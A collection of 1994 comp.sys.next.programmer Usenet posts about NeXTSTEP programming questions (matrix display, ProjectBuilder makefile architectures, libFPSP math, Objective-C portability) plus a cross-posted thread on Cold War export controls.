From: rcw@caspian.cc.vt.edu (R. Craig Woods) Newsgroups: comp.sys.next.programmer Subject: displaying a matrix Date: 11 Mar 1994 13:48:21 GMT Organization: Virginia Tech, Blacksburg, Virginia Message-ID: <2lpsr5$fce@solaris.cc.vt.edu> Using IB, I created a matrix of 2 textFieldCells arranged in a Window as a column. I have two buttons in the window: one button causes the application to count the number of cells in the matrix and display the count in a textField. The other button causes the addRow message to be sent to the matrix. The addRow message is being sent to the matrix, since I see the cell count increasing. However the added rows do not appear in the window. The method which I use to update the matrix looks like this - updateMatrix:sender { [myMatrix addRow]; [myMatrix display]; return self; } I also tried the drawCellAt:: method to make the new cell appear in the window, but still nothing. Can someone explain how to make the added matrix cells appear? I am just learning NeXTSTEP and would like to understand this.
From: Anatoly.Lisovsky@kamaz.kazan.su (Anatoly M. Lisovsky) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: Fri, 11 Mar 94 15:05:54 +0300 Distribution: world Organization: KAMAZ Inc., General Economics Department, (+7 8439) 53-07-34 Message-ID: <GAmv5WjynZ@fkamaz> Sender: news-service@kiae.su References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <CM099B.71x@world.std.com> <DA-PqTj8HH@fkamaz> <1994Mar6.081238.5596@hydra.acs.ttu.edu> In comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer article <1994Mar6.081238.5596@hydra.acs.ttu.edu> David G. Boney writes: >In article <DA-PqTj8HH@fkamaz>, Anatoly.Lisovsky@kamaz.kazan.su (Anatoly M. Lisovsky) writes: > TECHNICAL SKILLS >|> >|> Languages: C, Pascal, Assembler 80x86, UNIX shell programming, >|> INFORMIX 4G. >|> >|> Hardware : 80x86, SPARC >|> >|> Operating >|> Systems: UNIX(SVR3.2,BSD,SVR4), DOS. >|> >|> Applications: Borland C, MS C, Turbo Pascal, INFORMIX, Sun cc, >|> Interactive SVR3.2 cc (2.2 ad 3.0), UHC SVR4 cc, >|> gcc for Solaris 2.3, >|> and so on... (A lot of commercial packages are >|> "free" here and available to study. :-) >|> > >When did the russians start to by sun computer? I thought there where >export controls on things like that. :-) :-) :-) LEGAL export control for the LEGAL direct users. :) I'm working for the KAMAZ Inc., largest vendor of heavy trucks (i.e. not for military plant), so we had to buy clones. We used Mariners from Tatung Co. But be shure, military plants HAD all they needed. :) Throw the third countreys. From the some guys. For ANY money. They had Suns, VAXes, etc.... There was an article in Russian newspaper about some DEC VAXes, installed on military plants. After some failures, internal hardware gurus tried to find out damaged part, caused very short random time system failures. They could not invite technical support from DEC, you know why. :) And our guys picked up small chip with triac in power supply filter, inside of the compound. What do you think it was?... Time relay, to turn out power after some time, when disk may be full of the interesting information :-) So, it was the game for the both sides :-) >Sincerely, >David G. Boney >American Heart Association Medical Student Research Fellow >Texas Tech School of Medicine >dboney@mc.cs.ttu.edu Texas Tech University >Ph. 806-742-1191 Department of Computer Science > Lubbock, Tx. 79409 USA -- Anatoly M. Lisovsky, KAMAZ Inc., General Economics Department, STAR division ------------ The Network is The Computer. Per Aspera ad Sun! ---------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Overriding PB's default architectures. Date: 11 Mar 1994 14:15:09 -0000 Organization: me organised, that's a joke. Message-ID: <2lpudd$1gu@steffi.demon.co.uk> I like to build MAB libraries only _always_ on my machine. But applications are for m68k only when I'm developing. So I took a look at how NeXT implement the architecture handling in the makefiles today. I'd rather not hack with CFLAGS since the makefiles just require the architecture (sort of) If you look at process_target_arch in common.make you will see. process_target_archs = \ if [ -n "$(TARGET_ARCHS)" ] ; then \ archs="$(TARGET_ARCHS)" ; \ arch_cflags=`$(ARCHIFY) $$archs`; \ else \ archs="$(RC_ARCHS)" ; \ arch_cflags="$(RC_CFLAGS)" ; \ fi ; \ obj_dir=`$(ARCH_TOOL) -choose_obj_dir $$archs` That looked promising TARGET_ARCHS was the one to go for. So the next thing I did was strings /NextDeveloper/Apps/ProjectBuilder.app/ProjectBuilder | grep TARGET_ARCHS TARGET_ARCHS="%s" RC_ARCHS="%s" RC_CFLAGS="%s" %s ouch, I thought. It's not so bad though. If you want to override PB's settings you can. By making sure that no architectures are selected in PB's options window. Then just define your TARGET_ARCHS in Makefile.preamble. Build and process_target_archs will see _your_ definition of TARGET_ARCHS and will set "archs and "arch_cflags" accordingly. (Hats off to the author of process_target_archs) --- This means that now for Applications I have to use TARGET_ARCHS = "m68k" in the projects Makefile.preamble. I can live with that. Hope this was of some use to somebody. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: u9006869@athmail1.causeway.qub.ac.uk (Darren Aitcheson) Newsgroups: comp.sys.next.programmer Subject: Newbie time again folks!!! Date: 11 Mar 1994 09:11:01 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403111506.AA03910@bot32> Sorry to keep bothering you with my inane queries, but this is really bugging me! I've got a CustomView object (Calendar) which is basically a matrix of buttons used to select a date. This is connected to a PopUpList which contains the months of the year. Now, I've got the matrix to update when a new item is selected from the pop up list, but I can't get the pop up list to be set to the current month on initialising the matrix. My connection is as follows: id monthSelector; // connected to pop up list In Calendar.m I have the following method (which works perfectly, apart from setting the title of the list...) - _initWithSystemDate { // Responsible for initialising the date structure with the current date. // Also sets the month and year lists. struct timeval greenwich; struct tm* today; // Get the time and set up the structure properly gettimeofday (&greenwich, NULL); today = (localtime (&(greenwich.tv_sec))); day = today->tm_mday; month = 1 + today->tm_mon; year = 1900 + today->tm_year; // Set the month list [monthSelector setTitle: MONTHS[month]]; [monthSelector update]; return self; } (MONTHS is an array containing the names of the months) (This is called from initFrame for the Calendar object). Am I doing something wrong? Are palettes alllowed to do this sort of thing? (Note that the whole thing, i.e. matrix, pop up list is being designed as a palette) Any help here would be greatly appreciated!!! Darren Aitcheson (Queen's University of Belfast) ------------------------------------------------ se01@elegabalus.cs.qub.ac.uk - PREFERRED u9006869@athmail1.causeway.qub.ac.uk "Turn around, you SICK little monkey" - Ren Hoek, Ren & Stimpy Show
From: Anatoly.Lisovsky@kamaz.kazan.su (Anatoly M. Lisovsky) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: Fri, 11 Mar 94 18:13:06 +0300 Distribution: world Organization: KAMAZ Inc., General Economics Department, (+7 8439) 53-07-34 Message-ID: <FAa38WjaCi@fkamaz> Sender: news-service@kiae.su References: <CM099B.71x@world.std.com> <DA-PqTj8HH@fkamaz> <1994Mar6.081238.5596@hydra.acs.ttu.edu> <2lmi8h$opv@network.ucsd.edu> In comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer article <2lmi8h$opv@network.ucsd.edu> David Chavez writes: > >>When did the russians start to by sun computer? I thought there where >>export controls on things like that. >>-- > >FYI, Sun Microsystems has an office in Moscow. Give them a call and >ask them directly: 011-7-502-256-5050 No, there are NO COCOM now... But few years ago.... :( Military plants had all he needs throw the third countreys, but we could not. :( And own computers and other devices in military plants was sometimes best again the same from America, but with own proprietary interfaces :( -- Anatoly M. Lisovsky, KAMAZ Inc., General Economics Department, STAR division ------------ The Network is The Computer. Per Aspera ad Sun! ---------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 11 Mar 1994 15:45:06 -0000 Organization: me organised, that's a joke. Message-ID: <2lq3m2$2g2@steffi.demon.co.uk> References: <2lpudd$1gu@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) wrote in comp.sys.next.programmer >This means that now for Applications I have to use TARGET_ARCHS = "m68k" in the >projects Makefile.preamble. The quotes are uncessary it should be TARGET_ARCHS = m68k or TARGET_ARCHS = m68k i386 -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 11 Mar 1994 19:36:16 -0000 Organization: me organised, that's a joke. Message-ID: <2lqh7g$4iq@steffi.demon.co.uk> References: <2lpudd$1gu@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) wrote in comp.sys.next.programmer >This means that now for Applications I have to use TARGET_ARCHS = "m68k" in the >projects Makefile.preamble. Well this isn't true because it will default to that if no TARGET_ARCHS are defined so that solved that problem. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Using -DINLINE_MATH on m68040 NeXT Date: 11 Mar 1994 20:11:22 GMT Organization: University of California, Santa Barbara Distribution: world Message-ID: <2lqj9a$sso@hub.ucsb.edu> References: <2lofap$s4a@Times.Stanford.EDU> In article <2lofap$s4a@Times.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: ] Al Davis writes ] ] | ] | I just tried it. It is a little faster, maybe 10% on my benchmark. ] | Try it. Just take one of your slow programs and re-compile with ] | "-DINLINE_MATH", and measure. ] | ] ] Be careful not to use -DINLINE_MATH if you're using libFPSP.a to improve ] transcendental performance, since the compiler seems to revert to the ] libm.a routines if you do. I posted the original question -- what is libFPSP.a? -- Douglas Scott | Senior Development Engineer Tel: (805) 893-8352 | Center for Computer Music Research and Composition Internet (NeXTMail ok): | Music Department <doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: tags of NXBrowserCells Date: 11 Mar 1994 13:03:24 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2lpq6s$pn7@gpo.gb.swissbank.com> References: <2lp47d$rn5@nic-nac.CSU.net> In article <2lp47d$rn5@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: |> In article <1994Mar10.145154.28164@il.us.swissbank.com> |> chris@its.com (Chris Cuilla) writes: |> >Does anyone have an idea about why NeXT decided NOT to implement: |> > |> > - setTag: (int) theTag; |> > - (int) tag; |> > |> >in the Cell class? |> |> They did--just not in a "useful" fashion. Cell doesn't have a |> tag instance variable. (Or did you really mean ActionCell?) |> |> > since they also failed to implement it in |> >NXBrowserCell (one place it would be most useful, even if they didn't do |> >it in Cell), I need to have this subclass laying around for just one |> >reason. Yuuuucckk! |> |> Yuck what? Since NXBrowserCells are something an application |> might use a LOT of, it helps for them to be as lightweight as |> possible. Even a four-byte savings can make a big difference. You can't be serious. Even if your browser contained _ten_thousand_ cells, that's still only an extra 40K. Peanuts. |> The point is that you *can* subclass to add a tag (or whatever), |> without imposing a space/performance penalty on applications |> that don't need it. IMHO, it's more trouble than it's worth creating a heirarchy of cell subclasses just to save (at most) a few kilobytes. |> >Seems pretty goofy to me. Am I the only one? |> |> Yeah, probably. :-) No he's not. :) Dave Griffiths
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 11 Mar 1994 21:49:27 -0000 Organization: me organised, that's a joke. Message-ID: <2lqp17$5te@steffi.demon.co.uk> References: <2lpudd$1gu@steffi.demon.co.uk> One snag I've come across. Which I think is a bug in the makefiles or something I'm doing wrong. Currently TARGET_ARCHS (as I've set it) works fine ie. at cc time the correct object directory is created. However, if I try to use OFILE_DIR in Makefile.postamble the TARGET_ARCHS definition that I defined has no effect on OFILE_DIR and it's incorrectly set as ./obj instead of $(OBJ_ROOT)/$$archs. At the time OFILE_DIR is actually used ./obj does not exist. Any clues? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: yackd@idaho.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 11 Mar 94 15:36:02 Organization: Brigham Young University, Provo UT USA Distribution: world Message-ID: <2lqrse$jh3@bones.et.byu.edu> References: <2lpudd$1gu@steffi.demon.co.uk> <2lqp17$5te@steffi.demon.co.uk> Originator: yackd@idaho.et.byu.edu In article <2lqp17$5te@steffi.demon.co.uk>, robert@steffi.demon.co.uk (Robert Nicholson) writes: >One snag I've come across. Which I think is a bug in the makefiles or >something I'm doing wrong. > >Currently TARGET_ARCHS (as I've set it) works fine ie. at cc time the >correct object directory is created. However, if I try >to use OFILE_DIR in Makefile.postamble the TARGET_ARCHS definition >that I defined has no effect on OFILE_DIR and it's incorrectly set as >./obj instead of $(OBJ_ROOT)/$$archs. At the time OFILE_DIR is actually >used ./obj does not exist. > >Any clues? I think that might be the RCARCHS symbol in that line you pulled from the PB strings. I've been looking over NeXT's Makefiles so make sure I'm calling make properly from the MiscKit top level build, and have noticed that PB puts the architectures into _two_ different flags; one goes to the compiler, the other seems to affect the name of the object file directory (m68k_obj, etc...). Hope that helps. I wish I could give more specifics but I'm not on my NeXT at the moment. -- Don_Yacktman@byu.edu Nepotism is a relative thing. don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Simple PB cosmetic winge. Date: 11 Mar 1994 23:02:33 -0000 Organization: me organised, that's a joke. Message-ID: <2lqta9$7i9@steffi.demon.co.uk> Hands up if you are like me and always clicked on the button to the left of Builder for Files and to the right of Files for Builder. I still do this and guess what I up in, yes that's right the good old (new) Find Panel. IMHO: The Find button should have been tacked on the end such that the interaction was the same as before. A very interesting UI perspective. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke) Newsgroups: comp.sys.next.programmer Subject: Re: How to compile IRC for NeXTstep? Message-ID: <1994Mar11.214512.1589@sgcl1.unisg.ch> Date: 11 Mar 94 21:45:12 MET References: <1994Mar8.131431.17069@umiami.ir.miami.edu> Organization: The VooDoo Club (tm) In article <1994Mar8.131431.17069@umiami.ir.miami.edu>, therbert@umiami.ir.miami.edu writes: > I am trying to complile IRC for NeXTstep/Intel 3.2. I have > had good luck on gopher, kermit, archie, etc., etc. On IRC, > the compilation through about 15 routines goes fine until > scandir.c which gives the following: > > cc -O -c scandir.c > scandir.c: In function `scandir': > scandir.c:154: argument `dirname' doesn't match prototype > *** Exit 1 > Stop. > *** Exit 1 > Stop. > > --------------------- > > Line 154 sends us to: > > scandir(dirname, namelist, select, dcomp) > char *dirname; > struct direct *(*namelist[]); > int (*select) (), (*dcomp) (); > -> { > register struct direct *d, There's a prototype for scandir() in the header file sys/dir.h I think. To resolve the conflict change the argument char *dirname to const char *dirname. Are you sure that you used the CFLAGS entry for NS 3.x in the Makefile for compiling? I didn't come across this problem when I compiled ircII2.2.9 on NSFIP 3.2 a couple of days ago. Dave -- David-Michael Lincke dlincke@sgcl1.unisg.ch
From: hern@barclay (Steve Herndon) Newsgroups: comp.sys.next.programmer Subject: DBTableView and to-one relationships Date: 12 Mar 1994 01:03:43 GMT Organization: U S WEST Advanced Technologies Message-ID: <2lr4df$jq7@cherokee.advtech.uswest.com> I've connected a DBTableView from a DBModel which spans a to-one relationship. Fetching works fine, but I cannot save data to the table which is "across" the to-one relationship. The documentation is less than crystal clear, and I cannot find an example which does what I want. Anybody have any ideas? Thanks. -- Steve Herndon E-mail: hern@advtech.uswest.com US WEST Advanced Technologies, Phone: (303) 541-6354 4001 Discovery Drive, Suite 270 Boulder, CO. 80303
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 12 Mar 1994 05:27:01 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2lrjr5$5pc@Times.Stanford.EDU> References: <2lqrse$jh3@bones.et.byu.edu> Don Yacktman writes | | ... the other seems to affect the name of the object file directory | (m68k_obj, etc...). Hope that helps. I wish I could give more | specifics but I'm not on my NeXT at the moment. | I had all kinds of fun trying to figure out where .o files went when putting together the IconKit makefile. NeXT seems to have used three different schemes for 3.0, 3.1, and 3.2. To wit: - 3.0 sets OFILE_DIR - 3.1 uses a one line filter on RC_ARCHS - 3.2 uses the process_target_archs macro, which--amazingly--produces directory names incompatible with 3.1. Under 3.2 one gets m68k_i386_obj; under 3.1 its i386_m68k_obj. I've attached the relevant part of the makefile I finally produced. You can drop it in Makefile.postamble to build a library for any combination of target architectures under any OS release. The only thing it doesn't handle yet is adding _debug when building a debug version. --- Scott Roy Department of Computer Science Stanford University ------------------------------------------------------------------------ # # The rules below provide a library target to collect object files into an # archive. To use it, set LIBRARY to the name of the archive and LIB_OFILES # to indicate the files that go into it. The Makefile uses LIBTOOL if # available, AR otherwise. # # The rules do some checking to make sure things configure properly under 3.0, # 3.1 and 3.2. # LIBRARY = libIconKit.a LIB_OFILES = IKAnnouncer.o IKBrowser.o IKBrowserCell.o IKBrowserManager.o\ IKCell.o IKFolder.o IKIconPath.o IKList.o IKShelf.o\ IKSuitcase.o IKCellPS.o IKfunctions.o LIBTOOL = /bin/libtool AR = /bin/ar library:: @( \ if [ -n '$(process_target_archs)' "" ]; then $(process_target_archs)_obj ; \ elif [ -n '$(RC_ARCHS)' "" ]; then \ evaled_rc_archs="$(RC_ARCHS)" ; \ obj_dir=`echo $$evaled_rc_archs | sed 's/ /_/g'`_obj ; \ fi ; \ if [ -n '$(OBJROOT)' "" ]; then obj_root='$(OBJROOT)'; else obj_root=.; fi;\ if [ -f '$(LIBTOOL)' ]; then \ archive='$(LIBTOOL) -o $(LIBRARY) $(LIBTOOLFLAGS) $(LIB_OFILES)' ; else\ archive='$(AR) rc $(LIBRARY) $(LIB_OFILES)' ; \ fi ; \ \ $(MAKE) $(LIBRARY) \ "OFILE_DIR = $$obj_root/$${obj_dir-obj}" \ "PROJ_CFLAGS = $(NORMAL_CFLAGS)" \ "MAKEFILEDIR = $(MAKEFILEDIR)" \ "RC_CFLAGS = $(RC_CFLAGS)" \ "SRCROOT = $(SRCROOT)" \ "OBJROOT = $$obj_root" \ "PRODUCT_ROOT = $(PRODUCT_ROOT)" \ "ARCHIVE = $$archive" \ "SYMROOT = $(SYMROOT)/sym" \ "SYM_DIR = $(SYMROOT)/sym" ) $(LIBRARY): $(INITIAL_TARGETS) $(LIB_OFILES) rm -f $(LIBRARY) $(ARCHIVE) $(RANLIB) $(RANLIBFLAGS) $(LIBRARY) $(CHMOD) a+r $(LIBRARY)
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: Using -DINLINE_MATH on m68040 NeXT Date: 12 Mar 1994 05:47:05 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2lrl0p$5qo@Times.Stanford.EDU> References: <2lqj9a$sso@hub.ucsb.edu> Douglas Scott writes, | | I posted the original question -- what is libFPSP.a? | Quick Answer ------------ Implementations of the transcendental functions (exp, sin, atan, etc.) that should run about 2-3 times faster than the ones provided by libm.a. You can get libFPSP.a from cs.orst.edu. The Scoop (as I understand it) ------------------------------ The 68030 on the original NeXT cubes used f-traps to invoke math operations on the 68881. The 68040 has its own FPU and handles most of these operations directly, but implements only a subset of the 68881 and is missing the transcendental operations. Hence, the f-traps for transcendental functions are not handled by the 68040, but rather get routed via the trap dispatch table to kernel code. This entire process requires a fair amount of overhead. So libFPSP.a provides implementations of the missing functions to replace the f-traps with calls to appropriate functions in user space. I suspect the actual functions are about on par with the ones NeXT supplies, but keeping things out of the kernel and bypassing the trap mechanism results in a significant speedup. Why NeXT didn't fix things for 3.2 (or 3.1, or 3.0) is one of the great mysteries of our time. --- Scott Roy Department of Computer Science Stanford University
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 12 Mar 1994 10:06:00 -0000 Organization: me organised, that's a joke. Message-ID: <2ls468$13f@steffi.demon.co.uk> References: <2lqrse$jh3@bones.et.byu.edu> <2lrjr5$5pc@times.stanford.edu> hsr@cs.Stanford.EDU (Scott Roy) wrote in comp.sys.next.programmer >Don Yacktman writes > >| >| ... the other seems to affect the name of the object file directory >| (m68k_obj, etc...). Hope that helps. I wish I could give more >| specifics but I'm not on my NeXT at the moment. >| > >I had all kinds of fun trying to figure out where .o files went when >putting together the IconKit makefile. NeXT seems to have used three >different schemes for 3.0, 3.1, and 3.2. To wit: > > - 3.0 sets OFILE_DIR > - 3.1 uses a one line filter on RC_ARCHS > - 3.2 uses the process_target_archs macro, which--amazingly--produces > directory names incompatible with 3.1. Under 3.2 one gets > m68k_i386_obj; under 3.1 its i386_m68k_obj. > >I've attached the relevant part of the makefile I finally produced. You >can drop it in Makefile.postamble to build a library for any combination >of target architectures under any OS release. The only thing it doesn't >handle yet is adding _debug when building a debug version. > >--- >Scott Roy >Department of Computer Science >Stanford University Is any of this suppose to address the problem I reported? 3.2 give's you the option to use TARGET_ARCHS to specify a desired architecture. I'm using this in order to control the arch's on a per project basis. That part of works fine. Very nicely in fact. However, having set TARGET_ARCHS in Makefile.preamble. OFILE_DIR isn't set correctly. It should reflect my TARGET_ARCH setting but it's always set to ./obj instead. Because the correct arch directory is actually created ./obj never exists. If you examine the process_target_archs macro you can can see their intentions. process_target_archs = \ if [ -n "$(TARGET_ARCHS)" ] ; then \ archs="$(TARGET_ARCHS)" ; \ arch_cflags=`$(ARCHIFY) $$archs`; \ else \ archs="$(RC_ARCHS)" ; \ arch_cflags="$(RC_CFLAGS)" ; \ fi ; \ obj_dir=`$(ARCH_TOOL) -choose_obj_dir $$archs` If no architectures specified in PB. It will default to the values of RC_ARCHS and RC_CFLAGS in common.make. Essentially using the current machine's architecture. TARGET_ARCHS gives you the option to override that. PB set's that value during a MAKE. My problem is that OFILE_DIR doesn't get set based on TARGET_ARCHS correctly. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: intuitiv3d API at cs.orst.edu hosed? Message-ID: <1994Mar11.080206.1087@news.media.mit.edu> Followup-To: wave@media.mit.edu Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Fri, 11 Mar 1994 08:02:06 GMT Hi folks. Well, I've been trying to download to the file pub/next/demos/graphics/intutiv3dAPI.tar for the last several days, with no luck. I keep getting connection timed out after about 200K. I can grab all sorts of other files, even much bigger ones. Is it just me? Either way, can someone volunteer to NeXT-Mail or make ftp-able the API? Please email first; no need to swamp me... Thanks. BTW, does anyone know what ever happened to nPoint? Of all the 3D apps I beta tested, it seemed the most able modeler, but they seem to be gone. Too bad. I want to write an eve plug-in example for my WavesWorld palettes 1.0 release of all the (remaining) NeXT 3D apps that support plug-ins, which right now seems to be intuitiv3d and 3DReality. The folks at solidThinking have promised me doc/beta for sometime, but if I don't have it, I can't code for it, and I ain't got it... If I've forgotten any others, please let me know... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: curses package for NeXT? Message-ID: <1994Mar11.110847.736@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <2lldq9$174@bigfoot.wustl.edu> Date: Fri, 11 Mar 1994 11:08:47 GMT In article <2lldq9$174@bigfoot.wustl.edu> hussain@ArtSci.WuStL.EDU (Hussain Chinoy) writes: > Hi! > I'm looking for a curses package that can implement UNDERLINE, > BOLD, and REVERSE so that the WWW browser Lynx (written by Lou Montulli of Get the ncurses package from the archives.
From: Anatoly.Lisovsky@kamaz.kazan.su Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: Sat, 12 Mar 94 13:58:23 +0300 Distribution: world Organization: Anatoly at home Message-ID: <AFF1QWjaA8@tolik.home.kamaz.kazan.su> Sender: news-service@kiae.su References: <199403111914.LAA26471@mail.netcom.com> > In comp.sys.mac.programmer you write: > > >Military plants had all he needs throw the third countreys, > ^^^^^ > It took me a little while to understand you mean "through" here. Thank you for the English lesson!!! :b I really write "c" better than plain English :( BTW, i have some problems with bought *through* the third countreys "Mariner 4i" SPARC clones from Tatung. There are some hybrid with SPARC CPU and PC-bus. So, i have not drivers with PC peripheria, and can't use SBus periferia, which have drivers. I wrote both to Tatung and Mars Microsystems, have got a lot of Return-Receipts.... :( Who can help me? > > Good luck! :-) > -- > Pete Gontier, CTO, Integer Poet Software; gurgle@netcom.com > --- - Anatoly M. Lisovsky, at home. ------------ Network is computer. Per aspera ad Sun! ------------
Newsgroups: comp.sys.next.programmer From: guenther@tms-gmbh.de (Guenther Fuerthaller) Subject: Re: displaying a matrix Message-ID: <CMIKuL.1B2@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <2lpsr5$fce@solaris.cc.vt.edu> Date: Fri, 11 Mar 1994 19:01:32 GMT You must send [myMatrix sizeToCells]; after - addRow, - renewRows:cols: etc. Guenther In article <2lpsr5$fce@solaris.cc.vt.edu> rcw@caspian.cc.vt.edu (R. Craig Woods) writes: > Using IB, I created a matrix of 2 textFieldCells arranged in a Window > as a column. I have two buttons in the window: one button causes > the application to count the number of cells in the matrix and display > the count in a textField. The other button causes the addRow message > to be sent to the matrix. > > The addRow message is being sent to the matrix, since I see the cell > count increasing. However the added rows do not appear in the window. > > The method which I use to update the matrix looks like this > > - updateMatrix:sender > { > [myMatrix addRow]; > [myMatrix display]; > > return self; > } > > > I also tried the drawCellAt:: method to make the new cell appear in > the window, but still nothing. > > Can someone explain how to make the added matrix cells appear? > > I am just learning NeXTSTEP and would like to understand this.
Newsgroups: comp.sys.next.programmer From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: Objective C on non-NeXT Unix? In-Reply-To: byer@mv.us.adobe.com's message of Mon, 7 Mar 1994 20:24:56 GMT Message-ID: <PFKEB.94Mar12084401@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <2ld3aq$hqv@netnews.upenn.edu> <BYER.94Mar7122456@embassy.mv.us.adobe.com> Date: Sat, 12 Mar 1994 16:44:01 GMT >>>>> On Mon, 7 Mar 1994 20:24:56 GMT, byer@mv.us.adobe.com (Scott Byer) said: In article <BYER.94Mar7122456@embassy.mv.us.adobe.com> byer@mv.us.adobe.com (Scott Byer) writes: > Joe Panico writes: Joe> The version of gcc we are running on our IBM RS/6000 (AIX), ver Joe> 3.2.2, claims to be able to compile objective-c. But isn't a Joe> special run-time system required to run objective-c programs? Can Joe> this environment be created under AIX (or other Unixes)? If so, Joe> are the NeXT obj-c libraries available to be compiled on other Joe> Unix platforms? Any clues apprecaited. > There is now a gnu ObjC runtime. Grab it off of prep.ai.mit.edu... However, the current gcc release of the compiler does not link properly and if you get around that does not run on RS/6000. But someone gave me some patches which fixes these problems. The next problem I've had on the RS/6000 is unarchiving objects with the gcc archiving runtime. That is, I have an archived object file written on a NeXT and read-able by a SUN or DEC Ultrix machine, but not a RS/6000. For NeXT Objective-C libraries for other UNIX platforms, you can find... - Object class comes with gcc distribution. - List and Storage classes along with a lot of other non-NeXT classes for managing collections from cs.rochester.edu - Alpha version of many appkit classes from ftp.slac.stanford.edu:pub/sources/objcX-0.7.tar.gz. This library uses X/Motif to render control objects on the screen rather the Display PostScript. These libraries are known to work under at least SunOS 4.1.x, Ultrix, FreeBSD, Linux, and AIX 3.2.x (with the above mentioned patches.) -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
